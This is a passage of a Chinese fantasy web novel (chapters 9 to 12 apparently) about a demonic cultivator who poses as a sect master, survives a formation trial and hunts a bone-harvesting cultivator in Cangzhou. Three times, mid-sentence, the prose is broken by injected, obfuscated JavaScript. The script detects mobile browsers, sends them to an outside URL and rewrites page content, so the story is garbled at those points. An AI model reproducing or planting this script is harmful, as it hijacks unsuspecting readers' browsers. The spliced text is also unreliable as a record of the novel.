南宫明渡举剑迅速砍了两根袭到他脸上的树枝,顺势往花无咎的方向走了两步,挡住要追去她身前的树枝,但未料那树枝竟然从地上又长了起来,好像正要发难的毒蛇,竖着身体虎视眈眈。 倏然,花无咎感觉到一阵虚弱的红光,极细极密,从四面八方往中间射来。 那些长着树叶的断枝最靠上的位置,竟然长出来一只血红色的独眼,眼睛有大有小,树枝粗则眼睛大,树枝细则眼睛小,瞳孔是红色,眼白是冰冷的雪白,所有眼睛同时之间,忽然眨了一下。 红色的汁液从眼珠里面又往外冒,滋滋滋滋——滋滋滋滋——滋滋滋—— 耳边虫鸣一样,叫声又轻又令人头皮发麻,刚才那棵树只剩下了最粗壮的树干,就这么浅浅地浮在地面上,无数只一模一样形状的红色眼睛,从那褶皱丛生的干枯树皮上长了出来。 “哗”—— 所有眼睛都开始眨眼,里面红色的眼瞳随着眨动的频率慢慢调整,直到所有的眼睛都对准了正在阵中的两人。 花无咎骇得手脚发麻,虽然她不懂解阵,但是用脚趾头想,解阵都不可能是拿把剑随便乱砍,砍坏哪里就能从哪里出去!她无比后悔刚才竟然没有反应过来,把南宫明渡这个便宜徒弟给拦住。 “快闪开!”花无咎一声大呵,南宫明渡本来正在看花无咎,闻言立刻将头转了回去,之间那树不知道为什么到了他的跟前,所有眼珠虎视眈眈地盯着他,这怪物没有脸,做不出来什么表情,但仅仅眼珠,就足够暴露那一股藏不住的杀意。 危险近在眼前,南宫明渡第一个反应是拿剑去砍,但很快他意识到—— 这才是白映青的考验! 无归门的阵法,白映青怎么可能不清楚,刚才她坐在那里明明看得一清二楚,却对他砍树的举动没有半点异议,她早就知道这棵树会发难,而他,生死当前,绝对不可能再留藏实力。 南宫明渡越想越是心惊,严子玉一介凡人,白映青又没让门派中人教过他其他的本事,他哪里懂解阵?又何必要考? 白映青心思狡诈,他低估她了! “啊——” 南宫明渡不闪不避,那棵光秃秃的老树根就这么撞上了他的额头,黏腻的汁液从血红色的眼睛当中流了出来,就这么缓缓从他的眉骨往下滑落,那些液体本身浓稠,流速极慢,但无奈太多太多,跟榨成浆的浆果一样,散发着一股难闻的腥臭,很快落满了他的衣襟。 花无咎抓着南宫明渡的后襟,带着他往天上一飞——除了飞,她也啥都不会。 那棵树本来还想要再发难,结果南宫明渡倏地消失,树根直接扑了个空,栽倒在了地上。霎时,所有原先分出去的树枝都开始乱颤,叽叽喳喳不知道说些什么,统统向那树干围了过去。 “师、师父……”南宫明渡战战兢兢地喘气,脸色惊恐。 花无咎在半空运气,就这么气定神闲的站着,她飞得够高,那些树都飞不上去,花无咎本来还想试着从阵中往外飞一点,但刚刚要碰到边际的位置,一股无形的力量又往回推她。 花无咎赶紧调整身形,仅仅衣摆被吹了起来,看不出来有什么古怪—— 果然,这地方怎么可能留这个漏洞,仅凭飞得高就能出去,那还费劲设这么多障干嘛。 地上的树枝就这么叽叽喳喳半天,似乎找不到原本不长眼的那位跑到哪里去了,悉数又往回长,地上那些本来正在滚动的血珠子,就这么在一瞬之间破开,炸得地上枯叶小石之上,全都是一片猩红。 咦,竟然不追了…… 花无咎正要松一口气,耳边又传来南宫明渡的声音。 “师父,徒儿脸上好痒……” 花无咎抓着南宫明渡又往下面飞,就落在刚才她休息的那颗石头旁边,南宫明渡从怀里掏出来一枚小火灯—— 小火灯有核桃大小,山路难走,往往天暗下山,或者要半夜小解,都带这个东西。小小一枚,光刚好够笼进两个人。 灯一亮,花无咎便看清楚南宫明渡的脸。 只见刚才从树枝里面流出来的脓血,在此刻已经半干,南宫明渡脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们修行之人,又是师徒之间,较世人男女之防没那么严,但南宫明渡想了想,捡起来地上被扔掉的外衫,撕下来没有被脓血染过的一半,向自己胸前挡去,神态紧张。 如此,才像个凡人,不露破绽。 花无咎:“……” 南宫明渡:“师父,您看我做什么?” “看你姿色不错,不知道送给树妖当夫君,能不能够放为师一条生路。” “……”南宫明渡道,“呵呵,师父真会说笑。” 花无咎又觉得自己刚才的话不太合适,太过讥嘲,于是又正经神色,指着南宫明渡的手,严肃道,“拿开,让为师看看你的伤。” 南宫明渡照办,挡住胸襟的碎布被扯开,只见整个上半胸膛,连接锁骨的位置,都是密密麻麻的红点,红点边缘模糊,有往外部扩散的趋势。 花无咎道:“可还有别的不适?” 南宫明渡道:“只是发痒,刚才痒过了,如今不痒,但一碰便疼。” 花无咎点头,她又道:“暂且不要抓挠——” 突然之间,罡风又起,方才消停的树又开始乱吼乱叫,迅雷不及掩耳之势,整个阵法之中的石头拔地而起,轰轰烈烈冲南宫明渡和花无咎的方向而来。 10. 第 10 章 花无咎甚至还没有看清石头来的方向,就感觉到肩膀一痛,那石头就将她撞得往旁边一倒,她连忙伸出手撑地,没想到地上不知道什么东西边缘锋利,将她的食指划开一道口子。 南宫明渡也被石头砸到了背,他拿剑要去挡石头的攻势,此刻石头进攻的速度更快,眨眼跟帘幕一样排在了身前,可就在此刻,所有石头停滞在了半空。 “唰”——“哗啦啦”—— 石头悉数掉在地上,花无咎低头一看,之间刚才自己流过血的地方,几粒碎石之上,正发着一道不太明显的金光。 一种前所未有的直觉,阵已经解了。 像是为了回应她的猜测,刚才挡路的大石开始下沉,移形换位的树又变幻回原来的位置,落在地上的石头像活了一样,各自快速挪动,去找自己先前所站的位置。 一朵花瓣的形状,他们来时之路,阵法完全复原。 这阵不应该解得这么简单,只有一个可能,白映青是布阵之人——这些东西都听命于她,留有她的法术痕迹。 趁着南宫明渡还没有反应,花无咎站起来,手藏在袖子里面,淡然道:“你没有通过为师的考验。但你既然已经受伤,为师觉得,还是先送你去看看。” 百草堂专门给人看病的大夫叫做药师,修士们受了伤,通常都会自己携带丹药,但是往往一些疑难杂症,比如中毒之类,运功解不了,就要找药师对症下药。 这毒是寒是凉,毒性是缓是急,都要药师来拿主意。故而,药师见了南宫明渡,就问他这毒的来龙去脉。 南宫明渡老实作答,药师则说:“原来是树心阵的血毒。无妨,这毒不难解,只需你在这里住上十天,不要运功练剑,配合我调制的解药,慢慢就会好。” 南宫明渡受伤的事,很快传遍了宗门。他出身低微,侥幸被收为内门弟子,门主第一次对他考验,他却这样差劲,闲言碎语,慢慢在整个宗门之中散开。 南宫明渡修养好身体,从百草堂出来,每每到吃饭,打水,沐浴,种种宗门之中弟子聚集的活动,他总会被冷眼相看,无归门门规森严,大家做不出来将他偷偷叫出去羞辱欺凌的下作之事,但是所有人都对他爱答不理,仿佛他隐形了一般。 除了易彤,白映青的二徒弟,他的师姐,还是跟从前一样,看见他独自在饭堂里面盛饭,还专门走过来安慰他道,“师父对你严厉,是因为看重你天资,别的弟子不懂,他们去了那里,说不定比你败得还惨。” 南宫明渡当然不在意这些东西,反而宗门里的人不想要搭理他,便于他隐匿行迹,上一回在铃音阁,虽然被白映青撞见,但是也不算是坏事—— 若是当时他独行落入阵法,即便能够强行破开阵法而出,但必然会惊动无归门的人,叫他这一次无归门之行竹篮打水一场空,给人驱逐下山。 念及此,他又道:“我在阵法之中手忙脚乱,师父不知道动了什么法术,顷刻之间就解了阵,将我救去了医堂。师父修为,实在是深不可测。” 易彤道:“哦,那阵法本来就是师父所设。” 她絮絮叨叨,给南宫明渡讲了白映青各种厉害之处,说她心思缜密,在无归门中要害地方都设下阵法,不需要弟子看守,也能够阻拦心怀不轨之人。 南宫明渡道:“原来如此。” 易彤见南宫明渡一副不懂的样子,继续得意道:“师父不仅修为高深,布阵也是个中翘楚,没有师父的口谕石,没有人可以擅自进入铃音阁。” 南宫明渡道:“口谕石?” “口谕石,见之如见门主,可以在门派之中畅通无阻。” *** 在阵法之中死里逃生,花无咎回到房间第一件事就是翻箱倒柜,看看白映青有没有什么法宝可以为她所用。 她翻来翻去,只找出来三件疑似法宝的东西。 第一件,一条方方正正的淡粉色手帕。 那条手帕火烧不焦,水沁不湿,拿来擦桌子,污秽沾上去不过片歇,就会消失干净。 第二件,是一颗蓝色的石头。 石头大概成年男子拇指大小,放在掌心之中,还会随着掌心的温度闪闪发光,手掌温度越高,这石头就越烫手,中间还刻了两个极小的金字——“口谕”。 用法,花无咎没有研究出来,但石头中间有个洞,洞里面串了一根绳,绳子绕一圈,手腕粗细,连接的地方还打了一个结,方便挂在手上。 第三件,则是一把木剑。 这剑没有剑鞘,比一般的佩剑要小很多,木头是浅黄色,有点像凡人用来镇压邪祟用的桃木剑,边缘并不锋利,剑柄的位置刻着一朵白色的冰花。 这个东西,她倒是认得。 曾经仙门三十六宗誓约,以上三首为尊,无归门、穹华派、曲剑宗,铸剑为诺,要铲尽世间邪魔歪道。这剑与其说是个法器,不如说是个信物。 花无咎思索片刻,拔了白映青的佩剑,从木剑中间砍下。 只听咔嚓一声,木剑当即断成两节。 连个法宝都不是。 她将两截木剑随手扔进了犄角旮旯里面,将帕子和手链都带在了身上,就在此刻,敲门声突然响起。 花无咎赶紧将房间收拾整理成原貌,佯作镇定,在门内问道:“谁?” 门外传来一道焦急的女声,花无咎听得耳熟,马上认出来是易彤。 “庞师弟捉拿魔修被打伤,现在人送回宗门,昏迷不醒。师父,您快去看看吧!” 花无咎一边跟着易彤往百草堂中走一边回忆白映青手下几个徒弟。 第一个,叫陆扇那个,在外面历练。 第二个,易彤。 第三个,庞英桥,一个天资一般的凡人,被派下山捉拿魔修。 庞英桥,花无咎在心中默念这个名字好几次,确认等会开口的时候不会秃噜嘴,总算放下心来。 她来到百草堂,庞英桥躺着的那间屋子。房间里面只有一张床,一张桌子,床上那个弟子,人长的秀气,胳膊腿都细,脑袋却不小,人长得呆,脸上还有一些伤口,乌青中渗着点红,人闭着眼睛,跟睡着了一样。 桌子边上,则坐着药师,正在配药,花无咎一进去,他就站起来行礼,易彤冲过去床前看庞英桥,药师则向花无咎解释来龙去脉。 据其他送人回来的弟子交代,那魔修奸淫掳掠无恶不作,无归门弟子下山铲除妖孽,没想到那个魔修竟然还有帮手,被打伤之后又叫了人过来,暗算了他们门派所有人。 堂堂无归门,从来都是魔修躲着他们走,竟然有魔修敢在他们的地盘上嚣张放肆! 药师越说越生气,门外越来越多的弟子得知门主过来,也聚集到了这里,还有那些送庞英桥回来的无归门弟子,伤的伤痛的痛,按着胳膊按着腿,都义愤填膺,所有人目光炯炯地都望着花无咎。 花无咎:“……” 不知道为什么,她有一种不祥的预感。 床边,易彤红着眼睛转过头来:“求师父主持公道!” 翌日一早,花无咎带着门派中几个弟子,下山了。 本来,她一开始的打算是让两个长老出面,把那个魔修解决了事,无归门两个长老,本事那也不是盖的,但是她发现一个更严肃的问题—— 两个长老日常要处理宗门事务,他们走了,这些事就全都落在她头上了。她对那些东西,不说一窍不通,那也是斗大的字连起来超过三行,就开始看不太懂。 譬如,有弟子受了重伤,百草堂的丹药不灵,往往需要修为更高的人帮忙调息。有长老在,就不用她出面。又譬如,有弟子汇报宗门之中种植的灵草灵树,长得哪里不好,都要用仙法调整,她不会,也一样露馅。 前有狼后有虎,两相对比,反而下山是个好事。 能到凡间去的魔修,多半都是跟她曾经一样,在魔城里面混不转的。 无归门弟子为什么会被暗算呢?那不就是因为面对面打不过嘛。 她随便带上几个宗门弟子,就将轻易解决,顺便还能借魔修的身体,就此金蝉脱壳。 此行,她带了随临,带了易彤,还有一个叫张落的弟子,此人出自江兴运门下,随临是武镇渊的弟子,两个长老的高徒各带一个,才显得不那么厚此薄彼。 除了他们三个本事大的之外,还有四五个专门拿来撑场子的弟子。 也包括她那个便宜徒弟严子玉。 他是无归门中最后入门的人,花无咎早就看出来了,无归门中许多人都对他不喜,这种人,反而方便替他跑腿。 第一,他跟白映青不熟,分辨不出真假。 第二,他跟门中其他人不熟,即使察觉出来不对,别人也不会信他的话,他要是有点脑子,也不会去传自己师父的坏话。 有什么不方便的,都可以跟此人交代。 他们一行人下山,各自使用法术疾驰,力求在最快的时间之内赶到沧州城。 其中严子玉实力最是不济,总是拖他们所有人后腿。不仅如此,门主还格外看中他,要所有人都配合他来调整休息的时间。 此日,正是傍晚,所有弟子歇息在一处客栈之中,客栈在郊外地界,这时候在大堂的只有他们一行,小二下去备菜,花无咎独自上楼,随着小二去看客栈的客房情况。 一名弟子坐在严子玉对面,头斜偏着,一边喝茶一边道:“今天风大,刮得我的脸都疼了。” 另外一名坐在他旁边的弟子道:“是啊,又冷又刮人,”说到这里,他抬眼去看严子玉,“咦,不过我看严师弟,脸上倒还是光彩照人。” 之前那名弟子道:“嗨,那脸皮厚,可不就风刮不着了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219377|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 花无咎人刚从楼梯上下来,就听见这么几句话,看见她来,所有弟子都不再讥诮议论,正襟危坐在位置上。 花无咎行走江湖多年,本事虽然不大,但心眼不少。名门正派里面,那也是各怀心思。她对严子玉越好,周围的弟子就会越讨厌他,而他,反而抓住她这根救命稻草,越来越衷心。 她佯作不知,走到桌前,道:“我已经看过了房间,倒还整洁,就在这里住下吧。” 几人歇息过一晚,继续往东进发,终于在三日之后,抵达了沧州城。 据回来的弟子交代,他们本来是在沧州城城西的一间民房里面逮住了那名魔修,按照门主的吩咐,将他绑了起来,准备带回无归门。 可是半夜的时候,这魔修竟然破除了禁制,从房间里面逃走了。他们留在沧州城,想要再寻找那魔修,却找不到他的踪迹。再后来,就是那魔修带着另外一魔修回来,趁着他们熟睡之际,暗算了他们所有人。 进城之前,还要排队,花无咎站在队伍后面,一边等着一边问,“那魔修长什么样?知不知道叫什么名号?” 道上混的魔修,花无咎也认识不少。出名的有丹毛仙人——此人皱皮老脸一把瘦骨,别人说他不吃饭,他就说自己是仙人,脸上一颗红毛大痣,自称是丹毛,连起来就是丹毛仙人。 桃李春风,也是魔修,一雌一雄,桃李原名周桃李,人长的美,下手却狠,最爱掏人心肝。桃李是雌,春风是雄,春风原名宋春风,此人爱好调戏小姑娘,任你是仙是魔是人,只要好看,照惹不误,这俩人连起来说,是因为都知道他俩有不死不休的过节。 还有一个出名的,叫雷电。这人练的功法奇怪,哪里打雷闪电厉害,他就要去哪里接雷,说是能助长修为。 人间毕竟是仙门的地方,在这里嚣张,又没有魔尊可以保你,上蹿下跳,那也得有点实力。就这几位,敢抛头露面,江湖上有一些名号。 周竹道:“回禀门主,弟子不知,他没有报过名号。” 周竹是之前回来的弟子当中,伤得最轻的一个。这回将他捎带上,给他们带路,也方便询问个中情况。 花无咎再问:“相貌呢?” 周竹思索片刻,道:“他遮着脸,又是晚上,看不清楚。但身手矫健,身量很高,至少比庞师兄高。” 花无咎点点头,松了一口气。 那应该不是丹毛仙人。 如果是丹毛仙人的话…… 她还不如继续捡着白映青的身体用呢。 花无咎道:“这么说,此人是个男人?” 周竹点头:“极有可能。” 总算队伍前面的人都过完,轮到了他们一行。城门高大,一共两个口子,一个口子出,一个口子进,各自都有四个官兵在把守,他们无归门的人,出门在外,穿得都是一身白,有个官兵有点见识,过来问—— “敢问几位可是无归门来的仙师?” 随临站出去道:“不错。我们正是无归门弟子,此来沧州,有要紧事办。” 就这么一句话,有个官兵带路,将他们引到了曲府。 仙门之人到凡间办事,要么住在客栈,要么就是住在一些富户家中。有一些人,会主动到城守那里登记,如果城里面有仙师出现,没有地方落脚,愿意腾出来屋子给人休息。 这些人往往是富贵人家,觉得仙师落过脚,能够带来福气,且仙师降妖除魔,住过的地方还能够防止邪祟乱入。 曲府是沧州一布料商人曲虎的家,宅子极大,分了东苑西苑,沧州以东为尊,故而一行人都被安排在了东苑。 傍晚时分,得知来的人是无归门门主白映青,沧州城的城守还专门过来面见她,请她去吃饭。 花无咎不太懂怎么跟官府的人打交道,生怕露馅,于是说他们一行人出行从简,不想让人破费,没有去。 晚上,他们就在曲府吃饭,席间,曲虎道:“沧州城最近来了许多仙师,敢问白门主,可是这里出了什么大事?” 花无咎皱了皱眉,她看了一眼周竹,周竹微微摇了摇头,表示自己不知。 南宫明渡却在这时候插了句嘴:“请问曲老爷,都来了哪些门派的仙师?” “我听说有穹华派,还有一些门派,我孤陋寡闻,也不是很了解。”曲虎有些局促地放下筷子,“不过,他们似乎名号都很响当当,彼此之间还有一些联系。” 随临也放下筷子问道:“曲老爷的意思是,您见过他们?” “是,之前有几位仙师,也在我这儿住。”曲虎点了点头,“不过就在昨日,他们好像要去追什么东西,一早全都走了。” 南宫明渡道:“他们是往哪儿走的?” 曲虎想了想,道:“这个,我不是很清楚。但是我听他们说,要去什么义庄集合。” 11.第 11 章 沧州城一共有四个出名的义庄,东南西北四个方向,每个地方都一个义庄,东边的叫东义庄,南边的叫南义庄……以此类推。义庄专门收容那些无名无主的尸体,这年头虽然没有什么动乱大灾,但总有吃不饱饭饿死的,被人打死的,不知道怎么就死的——送到衙门,衙门都查不出来死因。 这样的尸体,会被捡去义庄,停一段时间的尸,直到有人来找,在衙门登记证明跟尸体的关系,就可以将尸体领回去。要是没有人来领,就等着尸体凑齐数,一同下葬,不多费功夫。 花无咎对这些东西门清,从前有一回,她就是伤势过重,五感关闭,被人当做尸体给捡到了义庄。当然,这种事情,她才没有傻到说给无归门的人听。随临在那里问义庄的情况,她就装作听得认真。 曲虎虽然不知道这些人去的是哪个义庄,但是他亲自送这些人出门,看见他们是往东边在走,于是又歇过一日,一行人决定往东义庄的方向走。 仙门中人聚集,最有可能,发现了魔修踪迹。 沧州城城池方正,一条中轴线,将城中划分成南北,沿着中轴线走,道宽路平,车马不绝,路开阔,人虽然走得多,但也不算挤。沧州城也算是富庶地方,城中贩物的多,店里面掌柜忙得转来转去,店外面,还有一些从别的地方赶来的货郎,在那里吆喝。 来来往往的人,相貌打扮不尽相同,手里面却八成以上,拿着同一样东西,在货郎前面挤来挤去,那货郎手里面只剩下最后一张,剩下那两个人没买,还在那里打了起来。 “我的!我的!” “我的!给老子滚……滚……”一边说,一边出脚,两人在那你抓我头发我踹你屁股,打得不可开交,另外又有一人,直接拿了一串铜钱,半空中晃荡了两声,再砸到那货郎手里。 “我出三倍的钱。”那货郎忙不迭去接钱,那人身量高,就这样撞过去,长臂往上面急不可耐一捞,将最后一张画像给抢走了。 另外那俩本来打得不可开交的,眼见此人黄雀在后趁虚而入,当即停下手脚破口大骂,两人一前一后扑过去,把那正要从人群中逃走的男人抓住。 那男人的手被扑得抖了几下,画像就这样掉了下来,滚吧滚吧到了花无咎脚跟,花无咎本来还以为是什么不可多得的美人画,定睛一眼,横眉怒目威风凛凛,竟然是钟馗! 这三人扭头就看向花无咎,花无咎赶紧往身后闪身,马上,恶鬼扑食一样,三人同时往地上一钻,人群中其他人也被这处动静吸引,越来越多往这边聚集,花无咎带着无归门的人悄然从这条主干道撤出去,绕一圈继续往东边走。 走了又大概半个时辰,街上的人越来越少,巷子里面钻出来一个头带方巾的男人,手里边拿着个一看就有些年头的锣,“铛铛”几声敲完,霎时间,本来在街上聚集的人群像丢下沸水的饺子,手忙脚乱地窜,掉头的掉头,加速的加速,不过一刻钟,街上就几乎没有了人影。 众人你看我我看你,没有看出个名堂,街上这时候路过一个跛脚老头,走得慢,独秀一枝往他们身边过,随临就过去将人拦住,问这是什么情况。 “什么、什么……”那老头摆手,顺便从随临身边绕过,人跟木头一样不改脸色,“情况……情况……” 等那老头走远了,张落蔑道:“不仅是个跛子,还是个傻子。” 一行人都看周竹,周竹望着那老头背影,也是皱眉摇头。 “之前我们在沧州城的时候,没有见过这样情形。” 几人一路东行,直到夜幕降临,终于抵达义庄。 义庄前面,那叫一个荒凉。两盏做工粗糙的红灯笼,歪七扭八挂在屋檐前左右两角,在风中处变不惊地摇摇摆摆,风时大时小,灯笼总给人感觉马上要掉,却始终在那嚣张地继续乱晃。 两朵微明的火,当然照不亮义庄周围的情形,模模糊糊能够看清楚双开的木门没有落锁,门晃晃悠悠,风大一点,就“吱呀”一声往里面战战兢兢地缩,可地上又似乎有什么东西将门给卡住,不能完全吹开,众人遥遥看,只看见门留了一条极大的缝。 一股不算浓郁的臭味顺着缝,被风带着丝丝缕缕往外面飘。 “呕——” “呕——恶——” 众人不由去捂鼻子,花无咎人刚走到义庄门口,突然感觉到不妙,脚往后一退要撤。可就在此刻,轰然破空一响,一柄长剑从义庄之内气势汹汹往外钻,狂风震动,两扇老旧不堪的门竟然在那剑飞出去的时候直接裂了! “门主小心!” 随临掐诀起剑,他练的是双剑,两柄短剑同装在一个剑鞘,剑鞘有两个洞,中间隔着一层薄铁,两柄剑同时从他腰间出鞘,半空中翻了一个迅捷的跟斗,风中踉踉跄跄去夹那柄飞剑。 “刺啦”—— 飞剑剑尖触到短剑,原来凌厉的攻势陡然卸掉一半,剑身在半空中抖筛不止,吭哧一声碎响,那长剑细薄的剑刃直接被砍出一个月牙形的缺口。 “我的剑!” 义庄内冲出来一个穿着红衣的青年,本来昏黑模糊的义庄四周在同一时刻亮起来八盏灯,那灯通体圆润,只有婴儿拳头大小,风吹过去,光一点也不散,整整齐齐渐次排开。 “萤火石!”随临脸色大变。 “算你有点见识!”那冲出来的红衣青年一声呵斥,本来正跟随临的剑分庭抗礼的长剑立刻掉头向他的方向赶去,他手中掐诀,嘴里念念有词一阵,突然那柄剑竖起来一飞冲天,义庄前面那片空地拔地而起无数的剑影,将正中心的花无咎一行团团围住。 “这是早就布好的剑阵。”随临心下一惊,操纵短剑飞天去追那柄长剑,可剑影就在此刻冲了进来,顷刻之间将他的短剑绞住,剑影斜过来,水草一样将剑柄缠紧,短剑嗡鸣两声,咔嚓就掉在了地上。 那红衣青年闭眼掐诀,脸上得意更甚,“邪魔歪道,今天就是你们的死期。” 随着他话音落下,剑影在四周变幻得越来越快,花无咎几乎只能够看见一个残影,只是呼吸之间,残影就到了眼前,浓烈的肃杀之息铺天盖地,周落赶紧道:“我们是无归门弟子,不是什么邪魔歪道。” 八盏灯从地上拔地而起,同一时刻飞到花无咎一行人身前,光亮照出来所有人的衣着打扮,徐千秋掐一半的诀又停下来,飞剑“蹭”的一下从空中落地,所有剑影消失无踪。 “无归门?!” *** “也就这半月的时间,义庄之中丢了一半有余的尸体,其中丢得最多的,就是这个东义庄。我们路过沧州城听说了此事,立马过来查看,刚才出剑那位是穹华派徐千秋,徐灵徐掌门首徒。” 义庄之内一共有八人,除去刚才那位穿红衣的,还有曲剑宗的五个弟子,以及三名自愿过来帮忙的散修。 徐千秋擅长布阵,故而他提议提前在这里布下阵法,他们守株待兔,将那魔修擒拿。 义庄的尸体并不陈在地上,每一具尸体下面都垫着木板,中间由架子支起来,一块白布从尸体上方盖下,将尸体和木板里面都一块挡住,其余几人便藏身其中。 尸体失踪听上去不是什么大事,但魔道有一非常邪门的功法,叫做“白骨生花”,这白骨并不是自然腐烂的尸体剩下的骨头,而是要在人死后没有多久,血肉尚全的时候将尸体身上的肉剐得干干净净,留下骨头挖一个坑,坑不填,坑下面的骨头当做底座,垒起来像小塔一样,炼骨者从塔尖将自己的血淋下,宛如花开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232681|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,由此得名“白骨生花”。 这些骨塔跟仙门的灵石一样,能够助长修为,在塔附近修炼,事半功倍。 花无咎道:“这‘白骨生花’之术,不是几十年前就已经绝迹了吗?” 发明“白骨生花”的魔修叫兰简,这人在魔城之中争强好胜,仇家遍地,在人间也是无恶不作,几乎惹了仙门所有人,可他就是凭借着这种术法修炼了一身没人能奈何的邪术,最后还是上三首联合,几大掌门出面,将他杀了个灰飞烟灭。 “是,兰简早就死了。”徐千秋道,“我们怀疑是兰简的徒弟,或者别的得到这门功法的魔修。” 花无咎点头。 要是下一个兰简出世,那时候人间必然一锅乱粥。 不过,仙门的人淌这趟浑水就罢了,她想不明白的是,这群魔修在这里凑什么热闹? 花无咎目光落在那三名自愿来“帮忙”的散修身上。 第一个,皱巴巴一张脸,眉心三道横纹,薄薄两片干瘪的嘴唇,上面盖一小搓长须,头发花白,绿豆眼招风耳,嘴边凹进去一小块皮肉。 花无咎没有记错的话,这里原本应该是长着一颗肉痣。 上面还有一根红毛。 第二个,柳叶眉细长眼,脸白唇红,身材窈窕,指甲涂朱,纤纤细指正在往头上摸,发髻之上一支金簪,中间嵌一颗粉色的玉石,光照进去,流动不止。 桃李春风里面的周桃李。 此人在人间其实甚少露面,但凡出现,都是在追杀宋春风——她出的这名,有一半要归功于后面那位。 第三个,魔尊座下四大护法,司空风最常在魔宫外面出现,魔城里面有什么纷争,经常都是他出面调理,两边各打一个巴掌。 这人长得一副少年模样,当年第一回见,花无咎还以为他是魔尊儿子——魔尊长什么样,她也不知道,不过按照魔尊出名的年头,有儿子孙子什么的那也很正常。 看见花无咎在看这几人,徐千秋站出来,一一指着介绍过去:“这位是月见老人,月见洞的洞主,这位是九丹姑娘,这位是空见公子……” 天下宗门开山立派,不需要谁肯允,立块牌子就可以当洞主宗主,自己说自己是什么名号,就是什么名号。只要别嘴不把门吹什么“天下第一”,就没人要去验证真假。 几个人都对着花无咎颔首,花无咎也一一回礼。徐千秋又去介绍曲剑宗那五位。 曲剑宗来的弟子来头也不小,为首的是曲剑宗雨宫的宫主柳歩——曲剑宗分雨宫和云宫两宫,宫主地位仅在宗主之下,此人长脸马眼,看脸上的皱纹,就很德高望重。 介绍到柳歩的时候,他昂着头,怀中抱的剑都没有拿下来,就这样眼睛斜着看花无咎。 按照仙门的规矩,大家见面时你来我往问候,都是地位低的先开口。 但地位这个东西是个很玄乎的东西,比如其他宗门的人见了上三首的人,那当然是其他宗门要先见礼,但如果是上三首的外门弟子,见了三十六宗的宗主、长老,那也依然低人一头。 无归门势弱,穹华派和曲剑宗都看不起,花无咎慢慢回过来味,这是要下白映青的脸。 但白映青的脸,关她什么事。无归门越被人看不起,她只会越开心。 “原来是柳宫主,有礼有礼。大名鼎鼎,难得一见啊。”花无咎拱手,无归门众人全都色变。 柳歩本来只是想要白映青难堪,这下白映青戳穿他在那里摆谱,他算什么大名鼎鼎,白映青纵横仙门的时候,他还毛都不是呢。 无归门没落了,白映青可还没没落。 柳歩脸红一阵白一阵,恨得咬牙,但也勉强挤出笑脸:“白门主客气。在下柳歩,见过白门主。” 12.第 12 章 花无咎不认识柳歩,她躲着仙门中的人走都来不及,哪里有功夫去认识这个宫主那个宫主的,说大名鼎鼎只是想表示自己不那么孤陋寡闻,对柳歩这样曲折复杂的心情完全不了解,她想起来刚才那把剑的事,又问—— “徐道友,你说你们约定要抓魔修,刚才我们过来义庄,怎么就你一个人过来拦人呢?” 徐千秋道:“那剑阵只有我能催动,我与几位道友商量好,一旦外面有动静,就由我先将那魔修困住,他们再上。” 花无咎道:“可我怎么看,你已经将我们困住,他们也没上啊。” 此言一出,义庄中人各生脸色。 徐千秋终于反应过来——当时他的剑没有击中人,他听见剑鸣出去救剑,这些人都听见了,却没有一个人出来。 南宫明渡看热闹不嫌事大,道:“哎呀,不会是有的人想要拉垫背的,诓人跟那魔修缠斗耗他功力,再出来捡便宜吧。” 徐千秋脸色骤变。 花无咎心想这严子玉真会说话,又站出来呵斥他:“不得无礼。柳宫主大名鼎鼎,曲剑宗向来光明磊落,怎么会做这种上不得台面的事情呢。” 好了,现在本来就冷的义庄更是阴风阵阵,好像开口一句话,马上就能够结出来冰。 司空风站出来道:“那什么,咱们还要捉魔修吗?” 徐千秋冷冷道:“我出去布阵。” 意思就是还要抓。 花无咎道:“既然大家都聚在一块,那么想必那个魔修再来,必然逃不出我们掌心。” 所有人藏在尸体下面,等着魔修再来。 直到远方山上一声鸡鸣,天光破晓,众人都黑着眼圈从白布底下钻出来。 *** 魔修没有抓到,一行人打道回府。 沧州城中愿意将房子让出来供仙师落脚的地方不少,如今他们住的地方是城东一家姓吴的富户,此人在吴州商铺大几百间,数一数二的有钱,房子建得大,分几个园,为方便议事,他们十来个人都同住一个小园。 回来的时候,花无咎想到城里面的怪事,多嘴问了一句,徐千秋就说—— “城里面一过夜,总是有人失踪,许多人都认为是邪祟作怪。所以天黑之后,大家都不敢出门,买钟馗画像,也只是为辟邪之用。” 这姓吴的不愧是富户,人家两个人抢一张画都抢不到,他家里面只要有框的地方,上面都贴一张钟馗。花无咎鸠占鹊巢做魔心虚,出来进去看见总觉得哪里不舒服,于是叫严子玉全都给她撕下来。 这会儿,严子玉刚撕完,揣着七八张钟馗的像进来问花无咎这些画要怎么处置。 